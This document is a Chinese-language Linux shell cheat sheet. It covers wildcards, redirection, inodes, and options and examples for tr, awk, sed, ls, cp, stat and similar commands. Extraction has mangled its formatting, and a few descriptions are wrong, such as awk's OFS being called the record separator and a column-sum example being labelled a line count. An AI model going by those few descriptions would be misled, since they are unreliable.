? 匹配任意一个字符
[0-9] 匹配任意数字
[a-z] 匹配任意小写字母
[A-Z] 匹配任意大写字母
[] 匹配中括号里任意一个字符,- 指定范围
[^] ; [!] 匹配中括号里任意字符以外的字符,取反
- 大括号扩展
shopt -o 查看大括号扩展功能状态 braceexpand
set +B 关闭大括号扩展功能
set -B 开启大括号扩展功能
{num1..num2} num1 到 num2 序列
{str1,str2,...} srt1 或者 srt2 或者 更多 字符串
- 路径位置
. 当前目录
.. 上一级目录
- 前一个工作目录 su - 切换用户的系统环境
~ 当前用户家目录
~test 用户test家目录
~+ 当前工作目录
~- 前一个工作目录
- shell 元字符:
在使用通配符时如果没有进行转义可能就会被辨识为元字符
IFS 由 < space > 或 < tab > 或 < enter > 三者之一组成
CR 由 < enter > 产生
= 设定变量
$ 作变量或运算替换;普通用户的命令提示符
> 重导向标准输出
< 重导向标准输入
| 管道, 将前一个命令的结果交给后一命令继续处理
& 重导向文件描述符,或将命令静默执行
( ) 将其内的命令置于 nested subshell 执行,或用于运算或命令替换
{ } 将其内的命令置于 non-named function 中执行,或用在变量替换的界定范围
; 在前一个命令结束时,而忽略其返回值,继续执行下一个命令
&& 在前一个命令结束时,若返回值为 true,继续执行下一个命令
|| 在前一个命令结束时,若返回值为 false,继续执行下一个命令
! 执行 history 中的命令
# 注释,常用在脚本中;超级用户的命令提示符
/ 根目录;路径分隔符
\(反斜杠) 转义字符,去除其后紧跟的元字符或通配符的特殊意义
- shell 转义字符:
转换和删除字符:tr
‘’(单引号) 硬转义,其内部所有的shell元字符、通配符都会被关掉。
“”(双引号) 软转义,其内部只允许出现特定的shell元字符:
$用于参数替换
``(反引号)用于命令替换 等同于$()
!用于历史命令
\用于转义
\(反斜杠) 转义字符,去除其后紧跟的元字符或通配符的特殊意义
转义字符 | 意义 | ASCII码值(十进制) |
---|---|---|
\a |
响铃(BEL) | 007 |
\b |
退格(BS) ,将当前位置移到前一列 | 008 |
\f |
换页(FF),将当前位置移到下页开头 | 012 |
\n |
换行(LF) ,将当前位置移到下一行开头 | 010 |
\r |
回车(CR) ,将当前位置移到本行开头 | 013 |
\t |
水平制表(HT) (跳到下一个TAB位置) | 009 |
\v |
垂直制表(VT) | 011 |
\\ |
代表一个反斜线字符\ |
092 |
\' |
代表一个单引号字符 | 039 |
\" |
代表一个双引号字符 | 034 |
\? |
代表一个问号 | 063 |
\0 |
空字符(NULL) | 000 |
\ooo |
1到3位八进制数所代表的任意字符 | 三位八进制 |
\xhh |
1到2位十六进制所代表的任意字符 | 二位十六进制 |
- 总结:
- 使用
^
时,从句首第一个字符向后开始匹配,直到成功匹配指定次数指定字符后停止。 - 使用
$
时,从句尾最后一个字符向前开始匹配,直到成功匹配指定次数指定字符后停止。 - 同时使用
^
和$
时,必须保证能够匹配整行每一个字符。 - 尽量使用
''
,可以防止出现未知转义,所有需要的转义可以使用转义符\
。 - 注意:
BRE
和ERE
使用时,除了.
和*
和[]
、锚定(行首尾锚定^
和$
、词首尾锚定\<, \b
、单词锚定\w
)和\>, \b
以及调用内置变量\1、\2、\3、...
是相同的,基本可以看做:-
BRE
直接使用特殊符号的原本含义,使用特殊符号的正则表示式含义需要添加转义符\
。 -
ERE
直接使用特殊符号的正则表示式含义,使用特殊符号的原本含义需要添加转义符\
。
-
索引节点
inode(index node)
表中包含文件系统的所有文件列表,一般会占用文件系统磁盘空间的1%。
一个节点 (索引节点)是一个表项,包含有关文件的信息(元数据):
- 文件类型,权限,UID,GID,大小,三个时间戳
- 链接数(指向这个文件名路径名称个数;文件的 inode 引用计数)
- 指向磁盘上文件的数据块指针
- 有关文件的其他数据
目录是目录下的文件名(人通过文件名来引用一个文件)和 inode 号(系统通过 inode 号来引用一个文件)之间的映射。
一个目录文件的内容就是一个该目录下所有文件的目录项的列表
cp 和 inode:
- 分配一个空闲的 inode 号,在 inode 表中生成新条目
- 在目录中创建一个目录项,将名称与 inode 编号关联
- 拷贝数据生成新的文件
rm 和 inode:
- 链接数递减,从而释放的 inode 号可以被重用
- 把数据块放在空闲列表中s
- 删除目录项,而数据实际上不会马上被删除,但当另一个文件使用数据块时将被覆盖
mv 和 inode:
-
如果mv命令的目标和源在相同的文件系统,作为 mv 命令
- 用新的文件名创建对应新的目录项
-
删除旧目录条目对应的旧的文件名
- 不影响 inode 表(除时间戳)或磁盘上的数据位置:没有数据被移动!
-
如果目标和源在一个不同的文件系统,mv 相当于 cp 和 rm
重定向
打开的文件都有一个fd: file descriptor (文件描述符)
Linux给程序提供三种 I/O 设备:
- 标准输入(STDIN) -文件描述符为0 默认接受来自键盘的输入
- 标准输出(STDOUT)-文件描述符为1 默认输出到终端窗口
- 标准错误(STDERR)-文件描述符为2 默认输出到终端窗口
I/O重定向:改变默认位置
重定向的5种方式:
输出重定向: > 覆盖文件
echo 内容 > 文件
ls 文件名 > 文件
追加重定向;>> 追加文件
echo 内容 >> 文件
ls 文件名 >> 文件
输入重定向;重新指定设备来代替键盘作为新的输入设备
命令 < 文件 将指定文件作为命令的输入设备
命令 << 分界符 表示从标准输入设备(键盘)中读入,直到遇到分界符才停止
(读入的数据不包括分界符),这里的分界符其实就是自定义的字符串
命令 <<- 分界符 忽略输入行首的tab,从标准输入设备(键盘)中读入,
直到遇到分界符才停止(读入的数据不包括分界符)
命令 < 文件1 > 文件2 将 文件1 作为命令的输入设备,该命令的执行结果输出重定向到 文件2 中
命令 < 文件1 >> 文件2 将 文件1 作为命令的输入设备,该命令的执行结果追加重定向到 文件2 中
命令 <<< word 把word(而不是文件word)和後面的换行作为输入提供给cmd
cat < mm 输出mm文件中内容
cat << 0 当指定了 0 作为分界符之后,只要不输入 0,就可以一直输入数据。
cat < /etc/passwd > mm 将输出的/etc/passwd 文件中内容重定向到 mm 中
错误重定向;
查看不存在的kk文件,出现报错信息,将其保存到文件b中
cat kk 2> b
COMMAND > /path/to/file.out 2> /path/to/error.out 标准输出 和 标准错误 各自重定向至不同位置
COMMAND > /path/to/file.out 2>&1 (顺序很重要) 标准输出 和 标准错误 都重定向到file.out
COMMAND >> /path/to/file.out 2>&1 标准输出 和 标准错误 都追加重定向到file.out
(COMMAND;COMMAND) 合并重定向多个COMMAND
注意: cmd > file 2>&1 与 cmd 2>&1 >file 的效果不一样
cmd 2>&1 >file 在执行 2>&1 时 标准输出 还是向终端输出 ,则 标准输出 向终端输出
1>&2 标准输出 拷贝了 标准错误 的行为,并立即执行
2>&1 标准错误 拷贝了 标准输出 的行为,并立即执行
> ; 1> 标准输出 重定向
< ; 0< 标准输入 重定向
2>&1 把 标准错误 重定向到 标准输出
2>file 把 标准错误 重定向到file
2>>file 把 标准错误 追加重定向到file
&>file 把 标准输出 和 标准错误 都重定向到file
&>>file 把 标准输出 和 标准错误 都追加重定向到file
/dev/null 是一个文件,这个文件比较特殊,所有传给它的东西它都丢弃掉
shell set选项:shopt -o 列出可由set命令设置的选项
set -C 禁止将内容覆o盖已有文件,但可追加
>| file 强制覆盖
set +C 允许覆盖
cmd >&n 把输出送到文件描述符n
cmd m>&n 把输出到文件描述符m的信息重定向到文件描述符n
cmd >&- 关闭标准输出
cmd <&n 输入来自文件描述符n
cmd m<&n m来自文件描述符n
cmd <&- 关闭标准输入
command
tr
tr [OPTION]... SET1 [SET2] 转换和删除字符
-c –C --complement 取字符集的补集
-d --delete 删除SET1的字符
-s --squeeze-repeats 把连续重复的字符以单独一个字符表示
-t --truncate-set1 将SET1转化为SET2
tr -d a < filename 删除文件filename标准输出中的a
tr -s '\n' < filename 删除文件filename标准输出中的空行
cat filename |tr a-z A-Z 将文件filename中标准输出的小写字母全部转换成大写字母
or
cat filename |tr [:lower:] [:upper:]
tr -cd '0-9a-zA-Z' < /dev/urandom | head -c8 # 生成8位随机数
which
which [options] COMMAND 查找命令所在文件的位置
--all, -a 打印路径中的所有匹配项,而不仅仅是第一个匹配项
--read-alias, -i 从stdin读取别名列表
--skip-alias 忽略别名列表,忽略选项 --read-alias
which -a COMMAND --skip-alias # 查看 COMMAND 所有路径,忽略别名
whereis
whereis [options] COMMAND 查看命令所在路径以及命令相关手册文件所在路径
-b 只搜索二进制文件
-B <目录> 定义二进制文件查找路径
-m 只搜索 man 手册
-M <目录> 定义 man 手册查找路径
-s 只搜索源代码
-S <目录> 定义源代码查找路径
-f 终止 <目录> 参数列表
-u 搜索不常见记录
-l 输出有效查找路径
type
type [-aptP] [name …] 用于查看命令类型。
-a 返回包含可执行命名文件的所有位置。不使用-p时也包括别名、shell函数。
-t 如果 name 是别名、shell函数、内建命令、磁盘文件、shell保留关键字,
则会分别输出“alias”、“function”、“builtin”、“file”、“keyword”,
如果未找到,则不会有任何输出,并返回失败状态
-p 返回执行文件的路径,如果使用-t不返回“file”则不返回任何内容。
-P 强制返回执行文件的路径,即使使用-t时不返回“file”。
如果命令被记录到hash表中,则-p和-P选项会打印hash值,而不一定会打印出文件在$PATH中的路径。
hash
hash 显示命令运行时查询的哈希表
hash –l 显示hash缓存,可作为输入使用
hash –p path name 将命令全路径path起别名为name
hash –t name 打印缓存中name的路径
hash –d name 清除name缓存
hash –r 清除缓存
alias
命令别名:alias
alias 显示当前shell进程所有可用的命令别名
alias NAME='VALUE' 定义别名 NAME,其相当于执行命令 VALUE,仅对当前shell进程有效
unalias -a 取消所有别名
\NAME 还原别名成本名
永久配置文件:
仅对当前用户有效:~/.bashrc
对所有用户有效:/etc/bashrc
- 如果别名与原命令同名,要执行原命令,忽略别名,可用:
\ALIASNAME ; “ALIASNAME” ; ‘ALIASNAME’ ; command ALIASNAME ; /path/command
ln
硬链接和软链接:ln
ln [参数][源文件或目录][目标文件或目录] 为某一个文件在另外一个位置建立一个同步的链接
ln 源文件 链接文件 创建硬链接,不能用于目录,必须在同一个文件系统中(不能跨越驱动器或分区)
以文件副本的形式存在,但不占用实际空间。源文件必须存在
增加额外的记录项以引用文件,引用相同的 inode 号。
创建时链接数递增;删除时链接数递减
文件要存在,至少有一个链接数,当链接数为零时,该文件被删除,
ls -i 显示文件 inode 号,硬链接是相同的
ln -s 创建软链接,可以用于目录,可以不在同一个文件系统中(可以跨分区)
以路径的形式存在,类似于Windows中的快捷方式。源文件或目录可以不存在
保存了其代表的文件的绝对路径,其大小为指向的路径字符串的长度
ls -l 显示软链接的名称和引用的文件
file
检查文件的类型:file
文件可以包含多种类型的数据,检查文件的类型,然后确定适当的打开命令或应用程序使用:
file [options] <filename>...
-b 列出文件辨识结果时,不显示文件名称
-f filelist 列出文件 filelist 中文件名的文件类型
-F 使用指定分隔符号替换输出文件名后默认的”:”分隔符
-L 查看软链接对应文件的文件类型
getent
支持的数据库: ahosts,ahostsv4 ,ahostsv6, aliases ,ethers ,group, gshadow, hosts, netgroup, networks, passwd, protocols, rpc ,services, shadow,等
getent [选项] database 查看系统数据库中的相关记录
-i, --no-idn 禁用IDN编码
-s, --service=CONFIG 要使用的服务配置
Example:
getent hosts linuxcool.com 查看hosts库中的linux.com信息
getent passwd root 查看passwd库中的root信息
awk
gawk
awk [options] -f progfile [var=value] file ...
awk [options] [var=value] 'program' file ...
POSIX options: GNU long options: (standard)
-f progfile --file=progfile 从脚本文件中读取awk命令
-F fs --field-separator=fs 指定分隔符,fs是一个字符串或正则表达式
-v var=val --assign=var=val 赋值一个自定义变量
Short options: GNU long options: (extensions)
-b --characters-as-bytes 将所有输入数据视为单字节字符(--posix覆盖这个选项)
-c --traditional 在兼容模式下运行,awk=gawk
-d[file] --dump-variables[=file] 打印已排序的全局变量列表,没有 file 打印帮助
-e 'program-text' --source='program-text' 使用 program-text 作为AWK程序源代码
-g --gen-pot 扫描并解析AWK程序,生成一个GNU.pot
(可移植对象模板)格式的文件
-n --non-decimal-data 识别输入数据中的八进制和十六进制值
-r --re-interval 在正则表达式匹配中启用间隔表达式的使用
awk内置变量:
$n 当前记录的第n个字段,字段间由FS分隔
$0 完整的输入记录
ARGC 命令行参数的数目
ARGIND 命令行中当前文件的位置(从0开始算)
ARGV 包含命令行参数的数组
CONVFMT 数字转换格式(默认值为%.6g)
ENVIRON 环境变量关联数组
ERRNO 最后一个系统错误的描述
FIELDWIDTHS 字段宽度列表(用空格键分隔)
FILENAME 当前文件名
FNR 各文件分别计数的行号
FS 字段分隔符(默认是任何空格)
IGNORECASE 如果为真,则进行忽略大小写的匹配
NF 一条记录的字段的数目
NR 已经读出的记录数,就是行号,从1开始
OFMT 数字的输出格式(默认值是%.6g)
OFS 输出记录分隔符(输出换行符),输出时用指定的符号代替换行符
ORS 输出记录分隔符(默认值是一个换行符)
RLENGTH 由match函数所匹配的字符串的长度
RS 记录分隔符(默认是一个换行符)
RSTART 由match函数所匹配的字符串的第一个位置
SUBSEP 数组下标分隔符(默认值是/034)
= += -= *= /= %= ^= **= 赋值
?: C条件表达式
|| 逻辑或
&& 逻辑与
~ 和 !~ 匹配正则表达式和不匹配正则表达式
< <= > >= != == 关系运算符
空格 连接
+ - 加,减
* / % 乘,除与求余
+ - ! 一元加,减和逻辑非
^ 求幂
++ -- 增加或减少,作为前缀或后缀
$ 字段引用
in 数组成员
条件语句
if (expression) {
statement;
statement;
... ...
}
if (expression) {
statement;
} else {
statement2;
}
if (expression) {
statement1;
} else if (expression1) {
statement2;
} else {
statement3;
}
循环语句
C语言:while、do/while、for、break、continue
Examples:
一.命令行方式调用awk
awk [-F field-separator] 'commands' input-file(s)
1 搜索/etc/passwd有root关键字的所有行
awk -F: '/root/' /etc/passwd
2 搜索/etc/passwd有root关键字的所有行,并显示对应的shell
awk -F: '/root/{print $7}' /etc/passwd
3 打印/etc/passwd 中以:为分隔符分割的每行第一项
awk -F: '{ print $1 }' /etc/passwd
4 使用","分割,-F相当于内置变量FS, 指定分隔符
awk -F, '{print $1,$2}' filename
awk 'BEGIN{FS=","} {print $1,$2}' filename
5 使用多个分隔符:先使用空格分割,然后对分割结果再使用","分割
awk -F '[ ,]' '{print $1,$2,$5}' filename
6 统计 file 行数
awk '{ sum += $1 }; END { print sum }' file
7 统计用户个数
awk '{count++;print $0;} END{print "user count is ",count}' /etc/passwd
8 行匹配语句 awk '' 只能用单引号
awk '{[pattern] action}' {filenames}
9 每行输出文本中的1、4项,按空格或TAB分割
awk '{print $1,$4}' filename
10 格式化每行输出文本中的1、4项,按空格或TAB分割
awk '{printf "%-8s %-10s\n",$1,$4}' filename
11 设置变量a=1,b=s,每行输出文本中的1项、1项+a(数字求和,非数字直接是a)、1项添加后缀b,按空格或TAB分割
awk -va=1 -vb=s '{print $1,$1+a,$1b}' filename
12 查看filename文件内第20到第30行的所有内容
awk '{if(NR>=20 && NR<=30) print $0}' filename
13 统计当前目录下文件总大小,以M为单位输出
ll |awk 'BEGIN{size=0;} {size=size+$5;} END{print "[end]size is ",size/1024/1024,"M"}'
14 显示/etc/passwd的账户,for循环遍历数组
awk -F ':' 'BEGIN {count=0;} {name[count] = $1;count++;}; END{for (i = 0; i < NR; i++) print i, name[i]}' /etc/passwd
15 按降序排序,筛选第二行小于70,统计总数(行数)
sort -rnk2 1.txt|awk '$2<70'|wc-l
二.shell脚本方式
#!/bin/awk -f
BEGIN{ 这里面放的是执行前的语句 }
{这里面放的是处理每一行时要执行的语句}
END {这里面放的是处理完所有的行后要执行的语句 }
三.将所有的awk命令插入一个单独文件,然后调用
awk -f awk-script-file input-file(s)
sed
行文本编辑器:sed
-
sed是一种流编辑器,它一次处理一行内容。
处理时,把当前处理的行存储在临时缓冲区“模式空间”(pattern space)中,
接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。
然后读入下行,执行下一个循环。这样不断重复,直到文件末尾。 -
文件内容并没有改变,除非你使用重定向存储输出。
-
模式空间:处理文件中一行内容的一个临时缓冲区。
处理完一行之后就会把模式空间中的内容打印到标准输出,然后自动清空缓存。 -
保持空间:另外一个不会自动清空的缓冲区,不会主动把此缓冲区中的内容打印到标准输出,需要sed命令处理。保持空间默认有一个换行符存在 。
sed [options] 'script' inputfile...
sed [options] -f scriptfile file(s)
-e<script>,--expression=<script> 以指定的 script 来处理输入的文件,用于顺序执行多条命令
-f<script 文件>,--file=<script 文件> 以指定的 script 文件来处理输入的文件
-n,--quiet,——silent 取消自动打印模式空间
-i[SUFFIX], --in-place[=SUFFIX] 直接编辑文件(如果提供后缀,则进行备份)
-r 使用扩展正则表达式
sed命令
a[\]text 在指定行后面追加文本,支持使用\n实现多行追加
i[\]text 在指定行前面插入文本,支持使用\n实现多行追加
c[\]text 替换指定行为单行或多行文本
d 删除模式空间的所有内容,立即读入下一行
D 删除模式空间的文本到第一个换行符,
若模式空间中内容不为空,立即重新在模式空间剩余内容上执行sed命令
s 替换指定字符
h 把模式空间中的内容覆盖至保持空间中
H 把模式空间中的内容追加至保持空间中
g 把保持空间中的内容覆盖至模式空间中
G 把保持空间中的内容追加至模式空间中
l 打印模式空间的内容,将制表符和行尾显示成\t和$
n 自动打印模式空间,读取下一个输入行覆盖至模式空间并且行号加一
N 不打印模式空间,读取下一个输入行追加至模式空间并且行号加一
p 打印模式空间的内容
P 打印模式空间的文本到第一个换行符
q 读取到匹配的行之后即退出,不会再读入新的行,并且将当前模式空间的内容输出到屏幕
b lable 分支到标签; 如果省略 label,则分支到脚本的结尾
r file 读取指定文件 file 的文本至模式空间中匹配到的行后,并且输出到屏幕
t label 如果s///成功替换,分支到标签; 如果省略 label,则分支到脚本的结尾
T label 如果s///没有成功替换,分支到标签; 如果省略 label,则分支到脚本的结尾
w file 将匹配地址的所有行输出到指定的文件 file末尾
W file 写并追加模板块的第一行到 file 末尾
:label 创建标记 label
! 为模式空间中的行取反
= 在行位置的上一行打印行号
# 注释到下一个换行符前
sed查找替换,支持使用其它分隔符:
s///,s@@@,s###
{cmd1; cmd2; ...} 命令的分组(group) 一般适用于针对同一地址执行多个命令
sed替换标记
g 表示行内全面替换。
Ng 表示从第N处匹配开始全面替换
p 表示打印匹配的行。
w 表示把匹配的行写入一个文件。
x 把模式空间中的内容与保持空间中的内容进行互换
y 表示把一个字符转换为另一个的字符(但是不用于正则表达式)
\1 前面\(\)第一格匹配的字符串
& 前面匹配的全部字符串
i,I 匹配 regexp 时,忽略大小写
sed元字符集
^ 匹配行开始,如:/^sed/匹配所有以sed开头的行。
$ 匹配行结束,如:/sed$/匹配所有以sed结尾的行。
. 匹配一个非换行符的任意字符,如:/s.d/匹配s后接一个任意字符,最后是d。
* 匹配0个或多个字符,如:/*sed/匹配所有模板是一个或多个空格后紧跟sed的行。
[] 匹配一个指定范围内的字符,如/[ss]ed/匹配sed和Sed。
[^] 匹配一个不在指定范围内的字符,如:/[^A-RT-Z]ed/匹配不包含A-R和T-Z的一个字母开头,紧跟ed的行。
\(..\) 匹配子串,保存匹配的字符,如s/\(love\)able/\1rs,loveable被替换成lovers。
& 保存搜索字符用来替换其他字符,如s/love/**&**/,love这成**love**。
\< 匹配单词的开始,如:/\<love/匹配包含以love开头的单词的行。
\> 匹配单词的结束,如/love\>/匹配包含以love结尾的单词的行。
x\{m\} 重复字符x,m次,如:/0\{5\}/匹配包含5个0的行。
x\{m,\} 重复字符x,至少m次,如:/0\{5,\}/匹配至少有5个0的行。
x\{m,n\} 重复字符x,至少m次,不多于n次,如:/0\{5,10\}/匹配5~10个0的行。
sed地址定界:默认对全文进行处理
# 指定行
$ 最后一行
/pattern/ 被 pattern 匹配到的每一行
#,# 区间
#,+# 区间 +#=#+1
/pat1/,/pat2/
#,/pat1/
first~step 步进(stepping) 先定位 first 所在行,然后每经过step行再定位一次
1~2 奇数行
2~2 偶数行
first,~N 从 first 所在的行至往后第一个可以被N整除的行
GNU扩展的sed,支持特殊序列(special sequence),它由一个反斜线和一个字母组成:
\L:将replacement替换成小写直到遇到\U或者\E。
\l:将下一个字符替换成小写。
\U:将replacement替换成大写直到遇到\L或者\E。
\u:将下一个字符替换成大写。
\E:停止\U或者\L带来的大小写转换功能。
Examples:
sed '2p' /etc/passwd 打印文件内容,并重复打印文件第2行
sed -n '2p' /etc/passwd 只打印文件第2行
sed -n '1,4p' /etc/passwd 只打印文件第1到4行
sed -n '/root/p' /etc/passwd 只打印文件匹配 root 的行
sed -n '2,/root/p' /etc/passwd 只打印文件从第2行开始到匹配 root 的行
sed -n '/^$/=' file 显示空行行号(只打印文件匹配 ^$ 的行及其行号)
sed -n -e '/^$/p' -e '/^$/=' file 只打印文件空行和空行及其行号
sed '/root/a superman' /etc/passwd 匹配 root 的行后追加一行 superman
sed '/root/i superman' /etc/passwd 匹配 root 的行前追加一行 superman
sed '/root/c superman' /etc/passwd 用 superman 代替匹配 root 的行
nl /etc/passwd | sed '2a tea' 文件第2行后追加一行 tea
sed -n 's/root/&superman/p' /etc/passwd 只打印匹配 root 单词后追加 superman 单词的行
sed -n 's/root/superman&/p' /etc/passwd 只打印匹配 root 单词前追加 superman 单词的行
sed -i.bak 's/dog/cat/g' file 备份.bak 后,在原文件中替换并保存
sed -i.bak 's/dog/cat/g' file 备份.bak 后,在原文件中替换并保存
已匹配字符串标记&
sed 's/\w\+/[&]/g' file # \w\+ 匹配每一个单词
替换操作:s命令
sed 's/book/books/' file
sed -n 's/test/TEST/p' file # -n 抑制自动打印原文本,p 打印处理后的行。只打印发生替换的行
删除操作:d命令
sed '/^$/d' file 删除空白行
sed '/^test/d' file 删除文件中所有开头是test的行
sed '2d' file 删除文件的第2行
sed '$d' file 删除文件最后一行
sed '2,$d' file 删除文件的第2行到末尾所有行
地址定界:,(逗号)
sed -n '/test/,/check/p' file 所有在模板test和check所确定的范围内的行都被打印
sed -n '5,/^test/p' file 打印从第5行开始到第一个包含以test开始的行之间的所有行:
sed '/test/,/west/s/$/aaa/' file 模板test和west之间的行,每行的末尾用字符串aaa替换
模式空间:
sed '1!G;h;$!d' FILE ; sed -n '1!G;h;$p' FILE 倒序输出(模拟tac)
sed 'N;D' FILE ; sed '$!d' FILE 输出文件最后一行
sed '$!N;$!D' FILE 输出文件最后2行
sed 'G' FILE 给每行结尾添加一行空行
sed 'g' FILE 将文件全部行替换成空行
sed 'N;s/\n//g' FILE 将文件的n和n+1行合并为一行,n为奇数行
sed ':a;N;$!ba;s/\n//g' 将文件所有行合为一行
sed '/^$/d;G' FILE 删除空白行后,给每行结尾添加一行空行
sed 'n;d' FILE 删除偶数行
sed -n 'p;n' test.txt #奇数行
sed -n 'n;p' test.txt #偶数行
sed '/test/{ n; s/aa/bb/; }' file 匹配test,移动到下一行,替换aa为bb,并打印该行
打印匹配字符串的下一行
grep -A 1 SCC URFILE
sed -n '/SCC/{n;p}' URFILE
awk '/SCC/{getline; print}' URFILE
sed ':a;N;$!ba;s/\n//g' ; sed ':a;$!N;s/\n//g;ta' 将文件所有行合为一行
:a # 建立分支标记
N # 读取下一行追加至模式空间
$!ba # 分支到脚本中带有标记的地方
s/\n//g # 替换\n为空
nano
全屏文本编辑器:nano
file:///D:/Download/Java/Linux/Linux-nano.txt
vi
vim
全屏文本编辑器:vim/vi
file:///D:/Download/Java/Linux/Linux-vim-vi.txt
mkdir
mkdir 创建目录
-p: 存在不报错,创建多级文件夹
-v: 显示详细信息
-m MODE: 创建目录时直接指定权限
tree
yum -y install tree
tree 显示目录结构树,列出指定目录下的所有文件,包括子目录里的文件
[-aACdDfFgilnNpqstux][-I <范本样式>][-P <范本样式>][目录...]
-a 显示所有文件和目录(不加-a,则隐藏目录不显示)
-d 显示目录名称而非内容
-L n 显示 n 层目录 (n 为数字)
-f 在每个文件或目录之前,显示完整的相对路径名称
-F 在执行文件,目录,Socket,符号连接,管道名称名称,
各自加上"*","/","=","@","|"号。
-r 以相反次序排列
-t 用文件和目录的更改时间排序
-dirsfirst 目录显示在前,文件显示在后
附加参数:
-A 使用ASNI绘图字符显示树状图而非以ASCII字符组合。
-C 在文件和目录清单加上色彩,便于区分各种类型。
-D 列出文件或目录的更改时间。
-g 列出文件或目录的所属群组名称,没有对应的名称时,则显示群组识别码。
-i 不以阶梯状列出文件或目录名称。
-I 不显示符合范本样式的文件或目录名称。
-l 如遇到性质为符号连接的目录,直接列出该连接所指向的原始目录。
-n 不在文件和目录清单加上色彩。
-N 直接列出文件和目录名称,包括控制字符。
-p 列出权限标示。
-P 只显示通配符匹配的文件或目录名称
-q 用"?"号取代控制字符,列出文件和目录名称。
-s 列出文件或目录大小。
touch
创建空文件和刷新时间
touch [OPTION]... FILE...
-a 仅改变 atime 和 ctime
-m 仅改变 mtime 和 ctime
-t [[CC]YY]MMDDhhmm[.ss]
指定atime和mtime的时间戳
-c 如果文件不存在,则不予创建
cp
复制文件或目录:cp
cp [OPTION]... [-T] SOURCE DEST
cp [OPTION]... SOURCE... DIRECTORY DEST 必须存在,且为目录
cp [OPTION]... -t DIRECTORY SOURCE... 将所有SOURCE复制到DIRECTORY
-a 归档,相当于-r、-d、-p的集合,SRC 中的文件-->DEST 中
-r,-R 递归复制目录数据,目录不存在创建
-d 如果源文件为软链接(对硬链接无效),则复制后的目标文件也为软连接
-p 复制后目标文件保留源文件的属性(包括所有者、所属组、权限和时间)
-v,--verbose 冗长的 显示过程信息
-f,--force 力 如果目标文件已存在,强制覆盖
-i 如果目标文件已存在,则会询问是否覆盖(默认)
-l 把目标文件建立为源文件的硬链接,而不是复制源文件
-s 把目标文件建立为源文件的软链接,而不是复制源文件
-u,--update 仅当源文件比目标文件新或目标文件丢失时才复制
-n 不覆盖
-b 目标存在,覆盖前先备份,形式为 filename~
--backup=numbered 目标存在,覆盖前先备份,形式为 filename.~NUM~
{,.bak} 备份
SRC是文件:使用选项:-i
- DEST不存在:则创建指定DEST文件,复制SRC文件中所有内容至其中
- DEST存在是文件:询问覆盖
- DEST存在是目录:在DEST下新建填充与SRC同名的文件
SRC是目录:使用选项:-r
- DEST不存在:则创建指定DEST目录,复制SRC目录中所有文件至其中
- DEST存在是文件:报错
- DEST存在是目录:则在DEST下新建与SRC同名目录,复制SRC目录中所有文件至其中
mv
移动和重命名文件:mv
mv [OPTION]... [-T] SOURCE DEST 移动 + 重命名(剪切)
mv [OPTION]... SOURCE... DIRECTORY 将 SOURCE...等文件剪切到 DIRECTORY 下
mv [OPTION]... -t DIRECTORY SOURCE...
-i 交互式
-f 强制
-b 目标存在,覆盖前先备份
rm
rm [OPTION]... FILE...
-i 交互式
-f 强制
-r 递归
--no-preserve-root (preserve 保护)
rmdir
rmdir [选项]... 目录... 删除指定的空目录。不要使用-p绝对路径,会删/
--ignore-fail-on-non-empty 忽略仅由目录非空产生的所有错误
-p, --parents 删除目录及其祖先;例如:“rmdir-p a/b/c”类似于“rmdir a/b/c a/b a”
-v, --verbose 为处理的每个目录输出诊断
pwd
显示当前工作目录:pwd
每个shell和系统进程都有一个当前的工作目录
CWD: current work directory
pwd: printing working directory 显示当前shell CWD的绝对路径
-P 显示真实物理路径
-L 显示链接路径(默认)
/dirname/basename
基名:basename
目录名:dirname
cd
更改目录:cd
cd .. 切换至父目录
cd ../../ 切换至上多级
cd 切换至当前用户主目录
cd ~ 切换至当前用户主目录
cd - 切换至以前的工作目录
-L (default)如果路径中包含符号连接,则跟着符号链接走。PWD为符号链接
-P 使用的是物理地址,不会则跟着符号链接走。PWD为实际物理地址
cd 相对路径进入目录时,会在 当前目录 和 环境变量CDPATH配置的目录 中寻找第一个匹配的目录
环境变量:
CDPATH
自动更新的环境变量:
PWD:当前目录路径
OLDPWD:上一次目录路径
shell中的行为选项:cdable_vars 启用目录别名,(default: off)
ls
列出目录内容:ls
ls [options] [files or dirs]
-a, --all 不隐藏任何以. 开始的项目
-A, --almost-all 列出除. 及.. 以外的任何项目
--author 与-l 同时使用时列出每个文件的作者
-b, --escape 以八进制溢出序列表示不可打印的字符
-B, --ignore-backups 不要列出结尾的隐含项 ~
-c 显示 ctime
-C 按列列出条目
--color[=WHEN] 给输出着色;可以是“never”,“auto”,or “always”(default)
-d, --directory 列出目录本身,而不是目录的内容
-G, --no-group 以一个长列表的形式,不输出组名
-h, --human-readable 人性化,以人类可读方式显示
-i, --inode 打印每个文件的索引号
-I, --ignore=PATTERN 不要列出与shell PATTERN 匹配的隐含项
-l 使用较长格式列出信息(ll)(default mtime)
-L, --dereference 当显示符号链接的文件信息时
显示符号链接所指示的对象而并非符号链接本身的信息
-m 所有项目以逗号分隔,并填满整行行宽
-n, --numeric-uid-gid 类似 -l,但列出UID 及GID 号
-N, --literal 输出未经处理的项目名称 (如不特别处理控制字符)
-o 类似 -l,但不列出有关组的信息
-p, --indicator-style=slash 对目录加上表示符号"/"
-r, --reverse 逆序排列
-R, --recursive 递归显示子目录
-s, --size 以块数形式显示每个文件分配的尺寸
-S 按文件大小排序
-t 按最新者优先排序(default mtime)
-u 显示 atime
-U 不排序;按目录顺序列出条目
-x 按行而不是按列列出条目
-X 按扩展名的字母顺序排序
-1 每行列出一个文件
Exit status:
0 if OK,
1 if 出现小问题(例如无法访问子目录)
2 if 出现严重故障(例如,无法访问命令行参数)
stat
stat [OPTION]... FILE... 查看文件大小,访问,修改,创建时间等,显示inode信息
文件:metadata, data
三个时间戳:
- access time 访问时间,atime,指最后一次读取的时间(访问)
- modify time 修改时间, mtime,指最后一次修改数据的时间(修改),修改文件内容
- change time 改变时间, ctime,指最后一次修改元数据的时间(改变),修改文件inode内容:权限 属主 属组 文件名 等
stat [OPTION]... FILE... Display file or file system status.
-L, --dereference 关注链接
-f, --file-system 显示文件系统状态,而不是文件状态
-c --format=FORMAT 使用指定格式而不是默认格式;每次使用格式后输出一个换行符
--printf=FORMAT 像 --format,但解释反斜杠转义符,并且不输出强制尾随换行符;
如果要换行,请在格式中包含\n
-t, --terse 用简洁的形式打印信息
文件的有效格式序列(without --file-system):
%a 八进制访问权限
%A 人类可读(字符)形式的访问权
%b 分配的块数 (see %B)
%B %b报告的每个块的大小(以字节为单位)
